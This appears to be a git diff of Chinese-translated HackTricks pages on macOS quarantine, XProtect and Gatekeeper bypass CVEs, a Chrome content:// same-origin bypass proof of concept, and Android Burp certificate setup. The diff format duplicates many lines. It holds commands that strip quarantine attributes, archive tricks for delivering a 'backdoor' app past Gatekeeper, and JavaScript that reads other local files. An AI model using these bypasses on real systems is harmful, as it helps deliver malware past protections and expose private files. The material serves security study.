#define qtn_proc_init _qtn_proc_init
|
||||
#define qtn_proc_init_with_self _qtn_proc_init_with_self
|
||||
#define qtn_proc_set_flags _qtn_proc_set_flags
|
||||
#define qtn_file_alloc _qtn_file_alloc
|
||||
#define qtn_file_init_with_path _qtn_file_init_with_path
|
||||
#define qtn_file_free _qtn_file_free
|
||||
#define qtn_file_apply_to_path _qtn_file_apply_to_path
|
||||
#define qtn_file_set_flags _qtn_file_set_flags
|
||||
#define qtn_file_get_flags _qtn_file_get_flags
|
||||
#define qtn_proc_set_identifier _qtn_proc_set_identifier
|
||||
|
||||
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
|
||||
typedef struct _qtn_proc *qtn_proc_t;
|
||||
typedef struct _qtn_file *qtn_file_t;
|
||||
|
||||
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
|
||||
|
||||
int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
|
||||
int qtn_proc_apply_to_self(qtn_proc_t);
|
||||
void qtn_proc_init(qtn_proc_t);
|
||||
int qtn_proc_init_with_self(qtn_proc_t);
|
||||
int qtn_proc_set_flags(qtn_proc_t, uint32_t flags);
|
||||
qtn_proc_t qtn_proc_alloc();
|
||||
void qtn_proc_free(qtn_proc_t);
|
||||
qtn_file_t qtn_file_alloc(void);
|
||||
void qtn_file_free(qtn_file_t qf);
|
||||
int qtn_file_set_flags(qtn_file_t qf, uint32_t flags);
|
||||
uint32_t qtn_file_get_flags(qtn_file_t qf);
|
||||
int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
|
||||
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
|
||||
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
|
||||
|
||||
int main() {
|
||||
|
||||
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
|
||||
qtn_proc_t qp = qtn_proc_alloc();
|
||||
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
|
||||
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
|
||||
qtn_proc_apply_to_self(qp);
|
||||
qtn_proc_free(qp);
|
||||
|
||||
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
|
||||
FILE *fp;
|
||||
fp = fopen("thisisquarantined.txt", "w+");
|
||||
fprintf(fp, "Hello Quarantine\n");
|
||||
fclose(fp);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
````
|
||||
```
|
||||
</details>
|
||||
|
||||
然后使用以下命令**删除**该属性:
|
||||
|
@ -252,8 +270,7 @@ return 0;
|
|||
xattr -d com.apple.quarantine portada.png
|
||||
#You can also remove this attribute from every file with
|
||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
````
|
||||
|
||||
```
|
||||
并使用以下命令查找所有被隔离的文件:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -262,19 +279,19 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
隔离信息也存储在由LaunchServices管理的中央数据库中,位于\*\*`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`\*\*。
|
||||
隔离信息也存储在由LaunchServices管理的中央数据库中,位于**`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**。
|
||||
|
||||
**Quarantine.kext**
|
||||
#### **Quarantine.kext**
|
||||
|
||||
内核扩展仅通过系统上的**内核缓存**可用;但是,您可以从https://developer.apple.com/下载**Kernel Debug Kit**,其中包含扩展的符号化版本。
|
||||
内核扩展仅通过系统上的内核缓存可用;但是,您可以从https://developer.apple.com/下载**Kernel Debug Kit**,其中包含扩展的符号化版本。
|
||||
|
||||
#### XProtect
|
||||
### XProtect
|
||||
|
||||
XProtect是macOS中内置的**反恶意软件**功能。XProtect会**在首次启动或修改应用程序时检查其与已知恶意软件和不安全文件类型的数据库**。当您通过某些应用程序(如Safari、Mail或Messages)下载文件时,XProtect会自动扫描该文件。如果文件与其数据库中的任何已知恶意软件匹配,XProtect将**阻止文件运行**并向您发出威胁警报。
|
||||
XProtect是macOS中内置的**反恶意软件**功能。XProtect会针对已知恶意软件和不安全文件类型的数据库**检查任何应用程序在首次启动或修改时**。当您通过某些应用程序(如Safari、Mail或Messages)下载文件时,XProtect会自动扫描该文件。如果文件与其数据库中的任何已知恶意软件匹配,XProtect将**阻止文件运行**并向您发出威胁警报。
|
||||
|
||||
XProtect数据库由Apple定期更新,其中包含新的恶意软件定义,并且这些更新会自动下载并安装到您的Mac上。这确保了XProtect始终与最新已知威胁保持同步。
|
||||
XProtect数据库由Apple定期更新新的恶意软件定义,并这些更新会自动下载并安装到您的Mac上。这确保了XProtect始终与最新已知威胁保持同步。
|
||||
|
||||
然而,值得注意的是**XProtect并非完整的防病毒解决方案**。它仅检查特定已知威胁列表,并不像大多数防病毒软件那样执行访问扫描。
|
||||
然而,值得注意的是**XProtect并非完整的防病毒解决方案**。它仅检查特定已知威胁列表,不像大多数防病毒软件那样执行访问扫描。
|
||||
|
||||
您可以获取有关最新XProtect更新的信息运行:
|
||||
|
||||
|
@ -284,34 +301,36 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
XProtect位于SIP受保护位置\*\*/Library/Apple/System/Library/CoreServices/XProtect.bundle\*\*,在bundle内部,您可以找到XProtect使用的信息:
|
||||
XProtect位于SIP受保护位置**/Library/Apple/System/Library/CoreServices/XProtect.bundle**,在bundle内部,您可以找到XProtect使用的信息:
|
||||
|
||||
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**:允许具有这些cdhashes的代码使用传统授权。
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**:禁止通过BundleID和TeamID加载的插件和扩展列表,或指示最低版本。
|
||||
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**:用于检测恶意软件的Yara规则。
|
||||
* **`XProtect.bundle/Contents/Resources/gk.db`**:带有已阻止应用程序和TeamID哈希的SQLite3数据库。
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**:允许具有这些cdhashes的代码使用传统授权。
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**:禁止通过BundleID和TeamID加载的插件和扩展列表,或指示最低版本。
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.yara`**:用于检测恶意软件的Yara规则。
|
||||
- **`XProtect.bundle/Contents/Resources/gk.db`**:带有被阻止的应用程序和TeamIDs哈希的SQLite3数据库。
|
||||
|
||||
请注意,还有另一个与XProtect相关的App位于\*\*`/Library/Apple/System/Library/CoreServices/XProtect.app`\*\*,与Gatekeeper进程无关。
|
||||
请注意,还有另一个与XProtect相关的应用程序**`/Library/Apple/System/Library/CoreServices/XProtect.app`**与Gatekeeper进程无关。
|
||||
|
||||
#### 非Gatekeeper
|
||||
### 非Gatekeeper
|
||||
|
||||
请注意,Gatekeeper**不会每次**执行应用程序时都执行,只有在您执行已由Gatekeeper执行和验证的应用程序时,\_**AppleMobileFileIntegrity** (AMFI)才会**验证可执行代码签名**。
|
||||
{% hint style="danger" %}
|
||||
请注意,Gatekeeper**不会每次**执行应用程序时都执行,只有在您执行已经由Gatekeeper验证的应用程序时,_**AppleMobileFileIntegrity**_(AMFI)才会**验证可执行代码签名**。
|
||||
{% endhint %}
|
||||
|
||||
因此,以前可以执行一个应用程序以将其缓存到Gatekeeper中,然后**修改应用程序的非可执行文件**(如Electron asar或NIB文件),如果没有其他保护措施,该应用程序将带有**恶意**添加项。
|
||||
因此,以前可以执行应用程序以使用Gatekeeper缓存它,然后**修改应用程序的非可执行文件**(如Electron asar或NIB文件),如果没有其他保护措施,应用程序将带有**恶意**添加内容。
|
||||
|
||||
然而,现在这是不可能的,因为macOS**阻止修改**应用程序包内的文件。因此,如果尝试[Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md)攻击,您将发现不再可能滥用它,因为在执行应用程序以将其缓存到Gatekeeper后,您将无法修改bundle。例如,如果更改Contents目录的名称为NotCon(如在漏洞利用中指示的那样),然后执行应用程序的主二进制文件以将其缓存到Gatekeeper,将触发错误并且不会执行。
|
||||
然而,现在这是不可能的,因为macOS**阻止修改**应用程序包内的文件。因此,如果尝试[Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md)攻击,您将发现不再可能滥用它,因为在使用Gatekeeper执行应用程序以缓存它后,您将无法修改bundle。例如,如果更改Contents目录的名称为NotCon(如在漏洞利用中指示的那样),然后执行应用程序的主要二进制文件以使用Gatekeeper缓存它,将触发错误并且不会执行。
|
||||
|
||||
### Gatekeeper绕过
|
||||
## Gatekeeper绕过
|
||||
|
||||
任何绕过Gatekeeper的方法(成功让用户下载并在Gatekeeper应该禁止时执行)都被视为macOS中的漏洞。以下是一些过去允许绕过Gatekeeper的技术分配的CVE:
|
||||
|
||||
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
观察到,如果使用**Archive Utility**进行提取,路径超过886个字符的文件将不会收到com.apple.quarantine扩展属性。这种情况无意中允许这些文件**绕过Gatekeeper**的安全检查。
|
||||
|
||||
查看[**原始报告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)获取更多信息。
|
||||
|
||||
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
当使用**Automator**创建应用程序时,关于其执行所需内容的信息位于`application.app/Contents/document.wflow`中,而不是在可执行文件中。可执行文件只是一个名为**Automator Application Stub**的通用Automator二进制文件。
|
||||
|
||||
|
@ -321,67 +340,60 @@ XProtect位于SIP受保护位置\*\*/Library/Apple/System/Library/CoreServices/X
|
|||
|
||||
查看[**原始报告**](https://ronmasas.com/posts/bypass-macos-gatekeeper)获取更多信息。
|
||||
|
||||
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
在此绕过中,创建了一个zip文件,从`application.app/Contents`开始压缩,而不是从`application.app`开始。因此,**quarantine attr**被应用于**来自`application.app/Contents`的所有文件**,但**未应用于`application.app`**,Gatekeeper正在检查的是这一点,因此当触发`application.app`时,**它没有quarantine属性**。
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
在此绕过中,创建了一个zip文件,从`application.app/Contents`开始压缩而不是从`application.app`开始。因此,**从`application.app/Contents`的所有文件**都应用了**quarantine属性**,但**没有应用到`application.app`**,Gatekeeper正在检查的是这一点,因此Gatekeeper被绕过,因为当触发`application.app`时,**它没有quarantine属性**。
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
|
||||
查看[**原始报告**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)以获取更多信息。
|
||||
|
||||
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
即使组件不同,利用此漏洞的方式与之前的漏洞非常相似。在这种情况下,我们将从\*\*`application.app/Contents`**生成一个苹果存档,这样当通过**Archive Utility**解压缩时,**`application.app`将不会获得隔离属性\*\*。
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
即使组件不同,利用此漏洞的方式与先前的漏洞非常相似。在这种情况下,我们将从**`application.app/Contents`**生成一个苹果存档,这样当通过**Archive Utility**解压缩时,**`application.app`将不会获得隔离属性**。
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
|
||||
查看[**原始报告**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)以获取更多信息。
|
||||
|
||||
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
ACL **`writeextattr`** 可用于阻止任何人在文件中写入属性:
|
||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
ACL **`writeextattr`** 可用于防止任何人在文件中写入属性:
|
||||
```bash
|
||||
touch /tmp/no-attr
|
||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||
xattr -w attrname vale /tmp/no-attr
|
||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
|
||||
此外,**AppleDouble** 文件格式会复制文件及其ACEs。
|
||||
|
||||
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中,可以看到存储在名为\*\*`com.apple.acl.text`**的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此,如果您使用**AppleDouble\*\*文件格式将应用程序压缩到zip文件中,并附带一个ACL,防止其他xattr被写入其中...隔离xattr将不会设置到应用程序中:
|
||||
|
||||
在[**源代码**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)中,可以看到存储在名为**`com.apple.acl.text`**的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此,如果您使用**AppleDouble**文件格式将应用程序压缩到zip文件中,并附带一个ACL以阻止其他xattr被写入...则隔离xattr不会被设置到应用程序中:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
python3 -m http.server
|
||||
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
查看[**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)以获取更多信息。
|
||||
|
||||
请注意,这也可以利用AppleArchives:
|
||||
|
||||
请注意,这也可以利用AppleArchives:
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
||||
aa archive -d app -o test.aar
|
||||
```
|
||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
发现**Google Chrome没有设置下载文件的隔离属性**,因为存在一些macOS内部问题。
|
||||
|
||||
发现**Google Chrome没有设置下载文件的隔离属性**,因为一些macOS内部问题。
|
||||
|
||||
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
AppleDouble文件格式将文件属性存储在以`._`开头的单独文件中,这有助于在**macOS设备之间复制文件属性**。然而,注意到在解压AppleDouble文件后,以`._`开头的文件**没有被赋予隔离属性**。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
mkdir test
|
||||
echo a > test/a
|
||||
|
@ -391,9 +403,9 @@ aa archive -d test/ -o test.aar
|
|||
|
||||
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
能够创建一个不会设置隔离属性的文件,这样就有可能绕过 Gatekeeper。技巧是使用 AppleDouble 命名约定(以 `._` 开头)创建一个 DMG 文件应用程序,并创建一个可见文件作为对这个没有隔离属性的隐藏文件的符号链接。当执行 dmg 文件时,由于它没有隔离属性,它将绕过 Gatekeeper。
|
||||
|
||||
能够创建一个不会设置隔离属性的文件,这样就有可能绕过Gatekeeper。技巧是使用AppleDouble命名约定(以`._`开头)创建一个DMG文件应用程序,并创建一个可见文件作为对这个没有隔离属性的隐藏文件的符号链接。当执行dmg文件时,由于它没有隔离属性,它将绕过Gatekeeper。
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
@ -409,9 +421,25 @@ ln -s ._app.dmg s/app/app.dmg
|
|||
echo "[+] compressing files"
|
||||
aa archive -d s/ -o app.aar
|
||||
```
|
||||
### 防止隔离 xattr
|
||||
|
||||
#### 防止隔离 xattr
|
||||
在“.app”捆绑包中,如果未添加隔离 xattr,则执行时**Gatekeeper 将不会被触发**。
|
||||
|
||||
在 ".app" 捆绑包中,如果未添加隔离 xattr,则在执行时**Gatekeeper 将不会被触发**。
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,6 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**这是一篇文章的摘要 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||
|
||||
|
@ -20,17 +23,14 @@
|
|||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
为了获得更加人性化的输出,仅显示每个索引文件的标识符和路径:
|
||||
为了更人性化的输出,仅显示每个索引文件的标识符和路径:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
### 内容提供程序
|
||||
|
||||
内容提供程序被隔离在它们自己的私有命名空间中。访问提供程序需要特定的 `content://` URI。可以从应用程序清单或Android框架的源代码中获取访问提供程序的路径信息。
|
||||
内容提供程序被隔离在它们自己的私有命名空间中。访问提供程序需要特定的 `content://` URI。可以从应用清单或Android框架的源代码中获取访问提供程序的路径信息。
|
||||
|
||||
### Chrome 访问内容提供程序
|
||||
|
||||
在Android上,Chrome可以通过 `content://` 方案访问内容提供程序,从而可以访问第三方应用程序导出的照片或文档等资源。为了说明这一点,可以将文件插入到媒体存储中,然后通过Chrome访问:
|
||||
Android 上的 Chrome 可以通过 `content://` 方案访问内容提供程序,从而可以访问第三方应用程序导出的照片或文档等资源。为了说明这一点,可以将文件插入到媒体存储中,然后通过 Chrome 访问:
|
||||
```bash
|
||||
cd /sdcard
|
||||
echo "Hello, world!" > test.txt
|
||||
|
@ -52,11 +52,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
|||
```
|
||||
### Chrome CVE-2020-6516: 同源策略绕过
|
||||
|
||||
**同源策略**(SOP)是浏览器中的一种安全协议,限制网页与不同来源的资源进行交互,除非经过跨域资源共享(CORS)策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome将`content://`视为本地方案,意味着更严格的SOP规则,其中每个本地方案URL被视为单独的来源。
|
||||
_Same Origin Policy_ (SOP)是浏览器中的安全协议,限制网页与不同来源的资源进行交互,除非经过跨域资源共享(CORS)策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome将`content://`视为本地方案,意味着更严格的SOP规则,其中每个本地方案URL被视为单独的来源。
|
||||
|
||||
然而,CVE-2020-6516是Chrome中的一个漏洞,允许通过`content://` URL加载的资源绕过SOP规则。实际上,来自`content://` URL的JavaScript代码可以访问通过`content://` URL加载的其他资源,这是一个重大安全问题,特别是在运行早于Android 10版本的Android设备上,因为那时尚未实现作用域存储。
|
||||
然而,CVE-2020-6516是Chrome中的一个漏洞,允许通过`content://` URL加载的资源绕过SOP规则。实际上,来自`content://` URL的JavaScript代码可以访问通过`content://` URL加载的其他资源,这是一个重要的安全问题,特别是在运行早于Android 10版本的Android设备上,因为那时尚未实现作用域存储。
|
||||
|
||||
下面的概念验证演示了这个漏洞,其中一个HTML文档在**/sdcard**下上传并添加到媒体库后,使用其JavaScript中的`XMLHttpRequest`来访问并显示媒体库中另一个文件的内容,绕过了SOP规则。
|
||||
下面的概念验证演示了这个漏洞,其中一个HTML文档,在上传到**/sdcard**并添加到媒体存储后,使用其JavaScript中的`XMLHttpRequest`来访问并显示媒体存储中另一个文件的内容,绕过了SOP规则。
|
||||
|
||||
概念验证HTML:
|
||||
```xml
|
||||
|
@ -87,6 +87,10 @@ xhr.send();
|
|||
<body onload="poc()"></body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -8,19 +8,24 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## 在虚拟机上
|
||||
|
||||
首先,您需要从Burp中下载Der证书。您可以在_**代理**_ --> _**选项**_ --> _**导入/导出CA证书**_ 中执行此操作
|
||||
首先,您需要从Burp下载Der证书。您可以在_**代理**_ --> _**选项**_ --> _**导入/导出CA证书**_ 中执行此操作
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**以Der格式导出证书**,然后将其**转换**为**Android**能够**理解**的形式。请注意,**为了在AVD中配置Burp证书**,您需要使用**`-writable-system`**选项**运行**此虚拟机。\
|
||||
**以Der格式导出证书**,然后将其**转换**为**Android**能够**理解**的形式。请注意,**为了在AVD中的Android机器上配置burp证书**,您需要使用**`-writable-system`**选项**运行**此机器。\
|
||||
例如,您可以这样运行它:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -29,7 +34,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
然后,**配置Burp证书**:
|
||||
然后,要**配置Burp的证书**,请执行以下步骤:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -44,39 +49,39 @@ adb reboot #Now, reboot the machine
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
一旦**机器完成重新启动**,Burp证书将被其使用!
|
||||
一旦**机器完成重新启动**,Burp 证书将被其使用!
|
||||
|
||||
## 使用Magisc
|
||||
## 使用 Magisc
|
||||
|
||||
如果您使用Magisc(可能是模拟器)**对设备进行了root处理**,并且由于**文件系统是只读的**且无法将其重新挂载为可写状态,因此无法按照之前的**步骤**安装Burp证书,那么还有另一种方法。
|
||||
如果您使用 Magisc(可能是模拟器)**对设备进行了 root 处理**,并且由于**文件系统是只读的**且无法将其重新挂载为可写状态,因此无法按照之前的**步骤**安装 Burp 证书,那么还有另一种方法。
|
||||
|
||||
在[**此视频**](https://www.youtube.com/watch?v=qQicUW0svB8)中有详细说明,您需要:
|
||||
|
||||
1. **安装CA证书**:只需将DER Burp证书**拖放**到移动设备上,将扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到`安装证书` -> `CA证书`
|
||||
1. **安装 CA 证书**:只需将 DER Burp 证书**拖放**到移动设备上,将扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到`安装证书` -> `CA 证书`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (50).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* 检查证书是否正确存储,转到`受信任的凭据` -> `用户`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **使其成为系统信任的证书**:下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip文件),将其**拖放**到手机中,在手机中打开**Magics应用**,转到**`模块`**部分,点击**`从存储安装`**,选择`.zip`模块,安装后**重新启动**手机:
|
||||
2. **使其成为系统信任的证书**:下载 Magisc 模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip 文件),将其**拖放**到手机中,在手机上打开 Magics 应用程序,转到**`模块`**部分,点击**`从存储安装`**,选择`.zip` 模块,安装后**重新启动**手机:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 重新启动后,转到`受信任的凭据` -> `系统`,检查Postswigger证书是否存在
|
||||
* 重新启动后,转到`受信任的凭据` -> `系统`,检查 Postswigger 证书是否存在
|
||||
|
||||
